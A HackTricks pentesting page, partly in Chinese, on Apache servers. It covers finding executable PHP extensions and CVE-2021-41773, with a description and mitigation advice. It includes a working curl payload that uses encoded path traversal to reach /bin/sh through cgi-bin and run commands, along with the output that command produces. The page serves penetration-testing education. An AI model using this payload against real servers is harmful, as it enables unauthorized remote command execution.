hacktricks/network-services-pentesting/pentesting-web/apache.md
2023-08-03 19:12:22 +00:00

4.5 KiB
Raw Blame History

☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

可执行的 PHP 扩展

检查 Apache 服务器正在执行哪些扩展。你可以执行以下命令来搜索它们:

grep -R -B1 "httpd-php" /etc/apache2

此配置的一些可能位置包括:

/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf

CVE-2021-41773

Description

Apache HTTP Server versions 2.4.49 and prior are vulnerable to a path traversal attack. This vulnerability allows an attacker to access files outside of the web root directory by appending "../" sequences to the URL. By exploiting this vulnerability, an attacker can potentially view sensitive files or execute arbitrary code on the server.

Exploitation

To exploit this vulnerability, an attacker can send a specially crafted HTTP request with "../" sequences in the URL. This will allow them to traverse the file system and access files that are not intended to be publicly accessible.

Mitigation

To mitigate this vulnerability, it is recommended to upgrade to Apache HTTP Server version 2.4.50 or later. Additionally, it is advised to implement proper input validation and sanitization to prevent path traversal attacks. Regular security audits and monitoring can also help detect and prevent such vulnerabilities.

curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥